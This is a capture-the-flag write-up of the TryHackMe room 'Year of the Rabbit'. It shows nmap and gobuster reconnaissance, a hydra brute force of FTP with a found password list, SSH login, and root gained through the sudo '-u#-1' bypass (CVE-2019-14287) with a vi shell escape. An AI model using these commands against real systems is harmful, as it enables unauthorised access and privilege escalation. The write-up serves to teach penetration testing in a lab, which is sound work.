> For the complete documentation index, see [llms.txt](https://writeups.adityadindi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.adityadindi.com/tryhackme/untitled/year-of-the-rabbit.md).

# Year of the Rabbit

![](/files/-Mbhqyp24gh_82Mj9kYK)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.165.1
```

![](/files/-MbhrgbjxqzIp8HOjPoV)

Detailed Nmap Scan : 

Command Breakdown: 

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 21,22,80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 21,22,80 -oN nmap 10.10.165.1
```

![](/files/-MbhrjUURvLR8Te6PpPM)

## Enumeration 

Lets visit the webserver

![](/files/-Mbhs80zuo5C8DHFDTTr)

It an apache2 default page, lets run gobuster to find hidden directories and pages.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.165.1 
```

![](/files/-MbhtOpsyEggQwM0oDFh)

We found a directory called /assets lets go visit it.

![](/files/-MbhtfZG7rlUXZ7nmMCR)

There are two files, lets check the first one which is a mp4 file , a video file. First we get a message telling us to turn off Javascript, followed by a redirection to a Rick Astley video . RICK ROLLED!

Lets go turn off Javascript, Navigate to `about:config` in the browser and then search for Javascript, change the `javascript.enabled` parameter to false.

![](/files/-MbhvkGKYqTtBMEU0hut)

Also looking at the other file, we need something interesting

![](/files/-Mbhw7EZm5Jo7vOWHBGQ)

Lets visit this page.

![](/files/-MbhwK2TmjsJabmLM4hG)

Listening through the audio, at second 56 we get the hint: "I'll put you out of your misery **burp** you're looking in the wrong place. Looking at this they are probably hinting to use `Burpsuite` so lets do that. 

Lets capture the request of visiting this page. After capturing the request and forwarding it once, you get something interesting

![](/files/-MbhxWhvv3F-yCqNVtvn)

Its a directory, lets go visit it.

![](/files/-MbhyCSuatWuDxvFmPWo)

There is one file, lets check it out

![](/files/-MbhyHlUNqB2OF5NME1l)

Its a picture. Lets use our steganography skills to see if there is anything hidden in the picture. First we need to download the file, so lets do that.

```
wget http://10.10.165.1/WExYY2Cv-qU/Hot_Babe.png
```

![](/files/-MbhymfyC0r93jKa84CV)

Now lets use `steghide` and `binwalk` to see if we can find anything in this image. There was nothing, so l just used strings on the image.

```
strings Hot_Babe.png
```

Once I did this, I got some output and scrolling up a bit I got something interest

![](/files/-MbhzKkJrLQorFF69A2b)

So we have a username and a password list, lets copy the password list to a file and use `hydra` to bruteforce ftp with the username and password list we have. I saved the password into a list called `passwords.lst`

## Exploitation

```
hydra -l ftpuser -P password.lst 10.10.165.1 ftp
```

![](/files/-MbhzsPuJF87duApFJyJ)

We found the password, lets login through ftp

```
ftp 10.10.165.1
```

![](/files/-Mbi-2UyDQ-BNZZcFkVj)

We are logged in, lets list the files.

![](/files/-Mbi-8Na6SH2hvnaoCIV)

Looks like there is a text file, lets transfer this to our machine

```
get Eli's_Creds.txt
```

![](/files/-Mbi-QD92eyKyAZuJbUx)

Lets read the file

![](/files/-Mbi-lJ_c1BzZmkf7RZf)

I don't understand this code, so lets put it in a tool that does understand it.

![](/files/-Mbi0Fwt_1JmA8JMd6Qm)

Now we have a password, lets use this to login through ssh with the username we found too.

```
ssh eli@10.10.165.1 
```

![](/files/-Mbi0TxeZPxVd00QhZMT)

We are logged in, we can see a message for us. We can find the user flag here but we are not allowed to read it. So we have to escalate privileges.

![](/files/-Mbi0iqcdCdmGiLFrndj)

When we logged in, we see a message for us, there seems to be a `leet s3cr3t hiding place`, and there is a hidden message there waiting for us. Lets find it using this command.

```
find / -name s3cr3t 2>/dev/null
```

![](/files/-Mbi1fssV7eiWUvgorwy)

Its a directory so lets change directories into it.

```
cd /usr/games/s3cr3t
```

Lets list the files in the directory.

![](/files/-Mbi1wPFqQsHDirdFjdY)

Lets read the this file

![](/files/-Mbi25WtEb56fE3O7KQO)

Looks like we have the password to the user `Gwendoline` , so lets switch users.

```
su gwendoline
```

![](/files/-Mbi7-rZ_aYYVpU4xdku)

We can now read the `user.txt` file

![](/files/-Mbi7EVXwjv-xRdrEv3I)

## Privilege Escalation

Lets run `sudo -l`  to see what this user can run as root 

```
sudo -l
```

![](/files/-Mbi7VzIlTHk-lJZ2yT_)

Looks like we can run `/usr/bin/vi /home/gwendoline/user.txt` as root, I found this [article ](https://www.whitesourcesoftware.com/resources/blog/new-vulnerability-in-sudo-cve-2019-14287/)that explains very well on what to do. First we use the command

```
sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
```

And then we use this command

```
:!/bin/bash
```

And you are now root.

![](/files/-Mbi8h3eUTze56OzG-3b)

We can read the root flag.

![](/files/-Mbi8ocIopv4bJINWTxL)